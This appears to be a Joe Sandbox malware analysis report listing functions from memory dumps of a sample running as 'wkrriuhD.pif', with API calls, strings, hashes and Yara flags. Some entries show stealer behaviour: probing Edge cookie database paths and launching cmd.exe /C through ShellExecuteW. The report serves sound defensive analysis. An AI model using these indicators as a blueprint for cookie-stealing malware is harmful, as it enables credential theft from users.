Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 1fa212aea2e094c9b98041fc7b4ea83fb12ca6ce6ebaaa8b22a46a8b30ae5b5b
Instruction ID: 60aedf6ba90c73e333abf20d0eadc7911d2e39a27a38415b1b6fdf571c54cf53
Opcode Fuzzy Hash: 1fa212aea2e094c9b98041fc7b4ea83fb12ca6ce6ebaaa8b22a46a8b30ae5b5b
Instruction Fuzzy Hash: 42F090FA8801398FEB318F2898C04153B29F7947A13405A2AF029D2660CB395E42EFC2

Uniqueness

Uniqueness Score: -1.00%

Function 0040B628 Relevance: 7.5, APIs: 5, Instructions: 28memoryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?), ref: 0040B63E
TlsAlloc.KERNEL32(?), ref: 0040B64F
VirtualQuery.KERNEL32(?,?,0000001C,?), ref: 0040B665
TlsSetValue.KERNEL32(?,?,?,?,0000001C,?), ref: 0040B676
TlsAlloc.KERNEL32(?,?,?,?,0000001C,?), ref: 0040B67B

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID: Alloc$QueryValueVersionVirtual
String ID:
API String ID: 4111955057-0
Opcode ID: 4e753a6cc7b253fcce6ea3a1439e0590325210fbb9c4bc7a8b22a5e8403a9220
Instruction ID: 64d802b366df9ffe340a536ca48f64c90ae43d30425c1319df72fdf1fd3218fb
Opcode Fuzzy Hash: 4e753a6cc7b253fcce6ea3a1439e0590325210fbb9c4bc7a8b22a5e8403a9220
Instruction Fuzzy Hash: 81F012B14443019AD710EFB1DDC1A9B7398EB88314F00893EB65897281D7BD95499F9E

Uniqueness

Uniqueness Score: -1.00%

Function 0059995C Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 328COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00599B2F

Strings

NG, xrefs: 005999F9
hdF, xrefs: 0059997F
<fF, xrefs: 00599BB7

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: <fF$hdF$NG
API String ID: 3732870572-2168386591
Opcode ID: 63a76c325e571f1cbcae1b5be894793c9b49cb204c16b04160e7bd094f2be9c7
Instruction ID: d09029c639586a2fd51c7bdda09592acdf342c3f66ffc8253cd495912437a790
Opcode Fuzzy Hash: 63a76c325e571f1cbcae1b5be894793c9b49cb204c16b04160e7bd094f2be9c7
Instruction Fuzzy Hash: 31B18131508341AFDB14FB68C896AAFBBE9BFC4310F50491DF48A92292EF359D058B57

Uniqueness

Uniqueness Score: -1.00%

Function 005E69BD Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 272COMMONLIBRARYCODE

Download Yara Rule

APIs

__dosmaperr.LIBCMT ref: 005E6AD8
__dosmaperr.LIBCMT ref: 005E6AF7
__dosmaperr.LIBCMT ref: 005E6C9A

Strings

H, xrefs: 005E6C1F

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: __dosmaperr
String ID: H
API String ID: 2332233096-2852464175
Opcode ID: ad10cc44415123364ccf3ab0f87a2b5b2deaae059395c87e8052164914e7d7f7
Instruction ID: 7440b241a6174685bf1e40b335afa1c4e34eeb5fd5c5a2d40484f5bb7d553e18
Opcode Fuzzy Hash: ad10cc44415123364ccf3ab0f87a2b5b2deaae059395c87e8052164914e7d7f7
Instruction Fuzzy Hash: 60A14432A101859FCF1CAF68DC567AE7FA0FB463A0F24025AE851EB392DB318C52C755

Uniqueness

Uniqueness Score: -1.00%

Function 005DBA2B Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 216COMMON

Download Yara Rule

APIs

__freea.LIBCMT ref: 005DBC12
__freea.LIBCMT ref: 005DBC1B
__freea.LIBCMT ref: 005DBC40

Strings

PkGNG, xrefs: 005DBA2D

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: __freea
String ID: PkGNG
API String ID: 240046367-263838557
Opcode ID: 118846f8b98fa7142c6fc34e08ba9c255994cc722e781db25b6080b075eb9fff
Instruction ID: c31558e7e6e74745f6a05ccf506406549cc0ad77bc00776177ee133ba80a4e64
Opcode Fuzzy Hash: 118846f8b98fa7142c6fc34e08ba9c255994cc722e781db25b6080b075eb9fff
Instruction Fuzzy Hash: AB518072610217EBEB358F68CC45EAA7FAAFB84750F16462BFC04E7250EB74DC808650

Uniqueness

Uniqueness Score: -1.00%

Function 004013E4 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 176registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(80000000,?,?), ref: 00401424
RegQueryValueA.ADVAPI32(?,?,?,00000100), ref: 00401449
RegCloseKey.ADVAPI32(?,?,?,?,00000100,80000000,?,?), ref: 00401470

Strings

Sun, xrefs: 004013EF

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Sun
API String ID: 3677997916-1777960983
Opcode ID: e40e27801e12837888f6718cf7172a39cad2c9d398c183f299d24010d73cb072
Instruction ID: c5084538d5e008a304e2dd35038a48b73e5a144ba9705b53fd972559b966f926
Opcode Fuzzy Hash: e40e27801e12837888f6718cf7172a39cad2c9d398c183f299d24010d73cb072
Instruction Fuzzy Hash: 945172F2C106056BD610EAB1DC82EE7736CAF94304F044D3EBA5AA1182FB79670896F5

Uniqueness

Uniqueness Score: -1.00%

Function 005DF4CB Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_strpbrk.LIBCMT ref: 005DF51A
_free.LIBCMT ref: 005DF637

Strings

., xrefs: 005DF7EE
*?, xrefs: 005DF50E

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _free_strpbrk
String ID: *?$.
API String ID: 3300345361-3972193922
Opcode ID: 91845898048f44b95c99453f11eaab977acc7f23da76a048fa7291357599bc12
Instruction ID: dca0615ddbb384378e7faab843902bde2c60bd0346dc8977366605fc0da7cc88
Opcode Fuzzy Hash: 91845898048f44b95c99453f11eaab977acc7f23da76a048fa7291357599bc12
Instruction Fuzzy Hash: 57517E75E0020AAFDF24DFACD885AADBBF5FF98314F24816BE455E7350E6319A018B50

Uniqueness

Uniqueness Score: -1.00%

Function 1237E6E9 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_strpbrk.LIBCMT ref: 1237E738
_free.LIBCMT ref: 1237E855

Part of subcall function 1236BD19: IsProcessorFeaturePresent.KERNEL32(00000017,1236BCEB,1233A71B,?,?,00000000,1233A71B,00000000,?,?,1236BD0B,00000000,00000000,00000000,00000000,00000000), ref: 1236BD1B
Part of subcall function 1236BD19: GetCurrentProcess.KERNEL32(C0000417,?,1233A71B), ref: 1236BD3D
Part of subcall function 1236BD19: TerminateProcess.KERNEL32(00000000), ref: 1236BD44

Strings

*?, xrefs: 1237E72C
., xrefs: 1237EA0C

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free_strpbrk
String ID: *?$.
API String ID: 2812119850-3972193922
Opcode ID: 6703a85dd49711e1afab558f77f60869b6155e4f96c4351f2947c71862cae23b
Instruction ID: b6722b8d2f7cb309bb77622480a799c04c9084dc611834e98a4e79740c0f4cd1
Opcode Fuzzy Hash: 6703a85dd49711e1afab558f77f60869b6155e4f96c4351f2947c71862cae23b
Instruction Fuzzy Hash: 26519476E0024AEFDF14CFA8C880AEDBBF9EF48714F254169D554E7340E679AA01CB60

Uniqueness

Uniqueness Score: -1.00%

Function 005E79FC Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 005E7B2B

Strings

&i^, xrefs: 005E7A4F, 005E7B40
&i^, xrefs: 005E7AF2

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _free
String ID: &i^$&i^
API String ID: 269201875-2997179078
Opcode ID: a6e07d2e332d0ea6e1aa7b7f7b4c4c7b9128dbb8fddfed026ac15973f0d55745
Instruction ID: 67be60aa6303b610ba582c280609700b63851ff00c2861c3163bcdcdff90decd
Opcode Fuzzy Hash: a6e07d2e332d0ea6e1aa7b7f7b4c4c7b9128dbb8fddfed026ac15973f0d55745
Instruction Fuzzy Hash: 2C415D3190854AABDB386ABE8C4DA6E3EA9FF89330F140667F454C3391F670494193A1

Uniqueness

Uniqueness Score: -1.00%

Function 005D3167 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 005D32C0
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 005D32D5

Strings

B1], xrefs: 005D32CF
B1], xrefs: 005D31E2

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: B1]$B1]
API String ID: 885266447-3465817952
Opcode ID: 36fac044672f79bbd2692348072d6fa41419b258ac2755bfc370d2617ef2a991
Instruction ID: 3f32623d037a7fdb7520e1cb6cfe600f2c6478437013cd24dc57257d2fbb0e5a
Opcode Fuzzy Hash: 36fac044672f79bbd2692348072d6fa41419b258ac2755bfc370d2617ef2a991
Instruction Fuzzy Hash: F7515C75E00149ABCB24DF9CC884AADBFB2FB98314F19825BE81897361D7719E51CB41

Uniqueness

Uniqueness Score: -1.00%

Function 14644BDD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\Public\Libraries\wkrriuhD.pif,00000104), ref: 14644C1D
_free.LIBCMT ref: 14644CE8
_free.LIBCMT ref: 14644CF2

Strings

C:\Users\Public\Libraries\wkrriuhD.pif, xrefs: 14644C14, 14644C1B, 14644C4A, 14644C82

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\Public\Libraries\wkrriuhD.pif
API String ID: 2506810119-97380468
Opcode ID: 01783ab0519835c1b7ad7777f97764c03a1b3736e5922a2c74f9f90586a1fbb3
Instruction ID: 23c94e76ad30daf6e4c120fcc541fd782d4589c6806dc5e5d6a19f62eeb1eb1f
Opcode Fuzzy Hash: 01783ab0519835c1b7ad7777f97764c03a1b3736e5922a2c74f9f90586a1fbb3
Instruction Fuzzy Hash: 1231A3B5A01258EFDF22DF99C8C199EBBFCEF9571CF28417AE904A7200D6709A41CB54

Uniqueness

Uniqueness Score: -1.00%

Function 12373435 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\Public\Libraries\wkrriuhD.pif,00000104), ref: 12373475
_free.LIBCMT ref: 12373540
_free.LIBCMT ref: 1237354A

Strings

C:\Users\Public\Libraries\wkrriuhD.pif, xrefs: 1237346C, 12373473, 123734A2, 123734DA

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\Public\Libraries\wkrriuhD.pif
API String ID: 2506810119-97380468
Opcode ID: 078efde8bfca4d61ea2a5a747fc538c25393828876438215cb2d2ff479641c62
Instruction ID: 725d1dd8174ef4b613e787a34df763b48fe0536257e62750006d46a75c068c2c
Opcode Fuzzy Hash: 078efde8bfca4d61ea2a5a747fc538c25393828876438215cb2d2ff479641c62
Instruction Fuzzy Hash: BE3185B6A04268EFDF25CF99D8C5EAEBBFCEF85314F104166E405D7200DA789A41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1233C6BB Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 1233C526: PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Microsoft\Edge\,00000000), ref: 1233C559

PathFileExistsW.SHLWAPI(00000000), ref: 1233C6EC
PathFileExistsW.SHLWAPI(00000000,-00000011,?,00000000,00000000), ref: 1233C757

Strings

User Data\Default\Network\Cookies, xrefs: 1233C6D2
User Data\Profile ?\Network\Cookies, xrefs: 1233C704

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
API String ID: 1174141254-1980882731
Opcode ID: 4cc4ef6da4b79302f71cebb039d9d04bd1d85a9bdfd7516c45d5dc4cfaf15767
Instruction ID: 66ca1cab1be412d5e10fce4a82d4ce8b42bf50596eeaa3b1259a052eaeb12612
Opcode Fuzzy Hash: 4cc4ef6da4b79302f71cebb039d9d04bd1d85a9bdfd7516c45d5dc4cfaf15767
Instruction Fuzzy Hash: 11216377D001199ACB66EBA2DC55CFEBB7CEE50312F000529E542A3190EF24BB4AC790

Uniqueness

Uniqueness Score: -1.00%

Function 1233515C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,12335159), ref: 12335173
CloseHandle.KERNEL32(?), ref: 123351CA
SetEvent.KERNEL32(?), ref: 123351D9

Strings

Connection Timeout, xrefs: 12335198

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: CloseEventHandleObjectSingleWait
String ID: Connection Timeout
API String ID: 2055531096-499159329
Opcode ID: ed3ebf07dcb93779e171bbc71baf3d4863c38f5585b32e81333ddbe9ab829eb0
Instruction ID: 6ac3b5d757012ed137c9f29c646625e56bb23d2bd30137a8a33460e60906fe5b
Opcode Fuzzy Hash: ed3ebf07dcb93779e171bbc71baf3d4863c38f5585b32e81333ddbe9ab829eb0
Instruction Fuzzy Hash: 5801F777951B40AFEB376B36CCC146BBBE9FF453033000A2DD18386BA1DA60A501CB51

Uniqueness

Uniqueness Score: -1.00%

Function 1233E7C5 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 1233E833

Strings

ios_base::badbit set, xrefs: 1233E7EF
ios_base::failbit set, xrefs: 1233E815
ios_base::eofbit set, xrefs: 1233E822

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Exception@8Throw
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2005118841-1866435925
Opcode ID: a44fc1b162c1056fe6c776de6fccc7c4500569bcc29f8391e81fc3998ab4a7a1
Instruction ID: 415a46f86ba2516cd97a1a2c667e483b75795c673890ab5d3939e4d0e6e3ac6b
Opcode Fuzzy Hash: a44fc1b162c1056fe6c776de6fccc7c4500569bcc29f8391e81fc3998ab4a7a1
Instruction Fuzzy Hash: 67018177C843087EFB6AEA90CC42FF9776C5F10B07F008519EA15A90C1EA25B742C6B2

Uniqueness

Uniqueness Score: -1.00%

Function 123460EE Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27COMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32(00000000,open,cmd.exe,00000000,00000000,00000000), ref: 12346130

Strings

cmd.exe, xrefs: 12346125
/C , xrefs: 1234610E
open, xrefs: 1234612A

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: ExecuteShell
String ID: /C $cmd.exe$open
API String ID: 587946157-3896048727
Opcode ID: 206ab2a9beee32d390eb707afaf7d197c29ae14873606f3aa179365fcf4419c9
Instruction ID: c7620f620659ef6545e8cbceca87aebec93a5660276e447bfee3a7025055d8bf
Opcode Fuzzy Hash: 206ab2a9beee32d390eb707afaf7d197c29ae14873606f3aa179365fcf4419c9
Instruction Fuzzy Hash: 58E030765083446ECA96D764CC90CBF73ADAA54702B400D1CB182D2090EF24AA09CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00403155 Relevance: 6.4, Strings: 5, Instructions: 123COMMON

Download Yara Rule

Strings

XX.CPP, xrefs: 00403298
xdrPtr && xdrPtr == *xdrLPP, xrefs: 00403241
XX.CPP, xrefs: 0040323C
bogus context in Local_unwind(), xrefs: 0040328A
!"bogus context in Local_unwind()", xrefs: 0040329D

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID:
String ID: !"bogus context in Local_unwind()"$XX.CPP$XX.CPP$bogus context in Local_unwind()$xdrPtr && xdrPtr == *xdrLPP
API String ID: 0-2274747209
Opcode ID: dffa354142600f96ffae5fe3d2cd138efea7f7a1046f33163713e7410180cacb
Instruction ID: 516aefb7a012da5173fd0e028fe258a323a667e0b87e22488f643828e0ac6d51
Opcode Fuzzy Hash: dffa354142600f96ffae5fe3d2cd138efea7f7a1046f33163713e7410180cacb
Instruction Fuzzy Hash: 0341B331A00204ABCB10CF95C88196EBBB5FF88311B2485BEE8057B3D5D739AF41CB98

Uniqueness

Uniqueness Score: -1.00%

Function 005D9F72 Relevance: 6.4, APIs: 4, Instructions: 370COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 005D9FF4
_free.LIBCMT ref: 005DA018
_free.LIBCMT ref: 005DA19F
_free.LIBCMT ref: 005DA36B

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: ec4142ae80350b4b9c069a6394b0971aab0548a2c4ce586fc51d3acaf8058750
Instruction ID: 3ddc87e28a35077c3c87ccb1237fa6271443e838cdfd0a8e0945515301df3026
Opcode Fuzzy Hash: ec4142ae80350b4b9c069a6394b0971aab0548a2c4ce586fc51d3acaf8058750
Instruction Fuzzy Hash: 5BC14575904206ABDB34EF7D9D49AAB7FA8FF85310F1444ABE48497381E7318E41CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00402DB4 Relevance: 6.3, Strings: 5, Instructions: 63COMMON

Download Yara Rule

Strings

XX.CPP, xrefs: 00402E34
XX.CPP, xrefs: 00402E18
XX.CPP, xrefs: 00402DD9
xdrPtr->xdERRaddr == xl, xrefs: 00402E39
__CPPexceptionList, xrefs: 00402DDE

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID:
String ID: XX.CPP$XX.CPP$XX.CPP$__CPPexceptionList$xdrPtr->xdERRaddr == xl
API String ID: 0-2716089706
Opcode ID: 3613f1da5c4df233601c34342cc4047bbf08cb7ddbce1de1525740bd2869398b
Instruction ID: 205238748063476e7240139f92a0f40b6e412298044ebf34a4ef91ed06f1cea7
Opcode Fuzzy Hash: 3613f1da5c4df233601c34342cc4047bbf08cb7ddbce1de1525740bd2869398b
Instruction Fuzzy Hash: 8E216D74D40204ABCB00DF95C886BAEB3B4BF58714F1441BAE8443B3D2D778AE408A99

Uniqueness

Uniqueness Score: -1.00%

Function 005DADE6 Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 005DAE71
__alldvrm.LIBCMT ref: 005DB072
__alldvrm.LIBCMT ref: 005DB094

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 94711b856b3c5e2de80f6088aa64ab24f970b25138e9d1cb8ebc1df5ba721bbe
Instruction ID: 9b829efd60af5f287b3ca04a903b9376cbb834a8c79bbac30a22192df3baae1b
Opcode Fuzzy Hash: 94711b856b3c5e2de80f6088aa64ab24f970b25138e9d1cb8ebc1df5ba721bbe
Instruction Fuzzy Hash: C4A12F769002869FEB358F1CC891BABBFA6FF51300F1945ABE4958B382D7388941C752

Uniqueness

Uniqueness Score: -1.00%

Function 1237A004 Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 1237A08F
__alldvrm.LIBCMT ref: 1237A290
__alldvrm.LIBCMT ref: 1237A2B2

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 4f8832beee02cc7ac8349e43431f1a5ed1ce449240751d3aeed044ff3a2741d2
Instruction ID: 7c8463cade10796610cdeb8d07b89d5494b4303a7ac5869d4cc0144bffc7b7a5
Opcode Fuzzy Hash: 4f8832beee02cc7ac8349e43431f1a5ed1ce449240751d3aeed044ff3a2741d2
Instruction Fuzzy Hash: 3BA16877A143869FEB11CF98C8807EEBBE5EF25314F2442ADD9949B281C23D9943C750

Uniqueness

Uniqueness Score: -1.00%

Function 004028BE Relevance: 6.3, Strings: 5, Instructions: 53COMMON

Download Yara Rule

Strings

!"what?", xrefs: 0040292C
XX.CPP, xrefs: 004028CF
(mfnMask & 0x0080) == 0, xrefs: 004028D4
what?, xrefs: 00402919
XX.CPP, xrefs: 00402927

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID:
String ID: !"what?"$(mfnMask & 0x0080) == 0$XX.CPP$XX.CPP$what?
API String ID: 0-3848249686
Opcode ID: 5edef0c466f2d7c8f1e4992642c7e8d12e3f46bd7ad321fb427a786fd913252a
Instruction ID: 6f30e4bb0dc5be0823d8bc3532c4122e76f8a62a5c106d7b0af8ad83967fcba9
Opcode Fuzzy Hash: 5edef0c466f2d7c8f1e4992642c7e8d12e3f46bd7ad321fb427a786fd913252a
Instruction Fuzzy Hash: 7401A2B664420C7BEF001E95ED8D6AAB755FB80324F58C233F91D345E0C7BB4A10A549

Uniqueness

Uniqueness Score: -1.00%

Function 00407B28 Relevance: 6.3, Strings: 5, Instructions: 51COMMON

Download Yara Rule

Strings

-, xrefs: 00407B49
9, xrefs: 00407B79
0, xrefs: 00407B74
+, xrefs: 00407B44
-, xrefs: 00407B4E

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID:
String ID: +$-$-$0$9
API String ID: 0-893461730
